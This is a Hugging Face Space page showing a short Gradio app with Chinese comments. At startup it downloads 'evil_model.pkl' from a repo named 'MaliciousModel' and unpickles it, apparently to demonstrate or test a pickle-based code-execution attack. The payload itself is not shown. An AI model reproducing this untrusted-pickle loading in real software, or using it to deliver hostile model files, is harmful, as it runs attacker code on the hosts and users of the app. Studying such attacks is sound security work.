Spaces:
Sleeping
Sleeping
| import gradio as gr | |
| from huggingface_hub import hf_hub_download | |
| import pickle | |
| import os | |
| # 1) 下载并加载模型(pickle 文件) | |
| def load_pickled_object(repo_id: str, filename: str): | |
| # 如果已经下载过就不重复下载 | |
| cache_dir = os.path.join(".cache", repo_id.replace("/", "_")) | |
| os.makedirs(cache_dir, exist_ok=True) | |
| local_path = hf_hub_download( | |
| repo_id=repo_id, | |
| filename=filename, | |
| cache_dir=cache_dir, | |
| force_download=False # 如果本地已有就不重新下 | |
| ) | |
| # 反序列化 | |
| with open(local_path, "rb") as f: | |
| obj = pickle.load(f) | |
| return obj | |
| # 在 Space 启动时就加载一次 | |
| # 请替换成你自己的 repo id 和 pickle 文件名 | |
| MODEL_REPO = "AnonyAuthor/MaliciousModel" | |
| MODEL_FILE = "evil_model.pkl" | |
| try: | |
| model = load_pickled_object(MODEL_REPO, MODEL_FILE) | |
| except Exception as e: | |
| # 如果出错可以打印日志 | |
| print("❌ 模型加载失败:", e) | |
| model = None | |
| # 2) 定义预测函数(根据你的 pickle 对象改写) | |
| def predict(text: str): | |
| if model is None: | |
| return "模型加载失败,请检查日志" | |
| # 假设你的 pickle 对象有一个 predict 方法 | |
| try: | |
| res = model.predict([text]) | |
| return str(res) | |
| except Exception as e: | |
| return f"预测失败:{e}" | |
| # 3) 用 Gradio 搭个简单的文本接口 | |
| iface = gr.Interface( | |
| fn=predict, | |
| inputs=gr.Textbox(lines=2, placeholder="在此输入内容…"), | |
| outputs="text", | |
| title="Pickle 模型调用示例", | |
| description="从 Hugging Face Hub 下载 pickle 并反序列化后预测" | |
| ) | |
| if __name__ == "__main__": | |
| iface.launch(server_name="0.0.0.0", server_port=7860) | |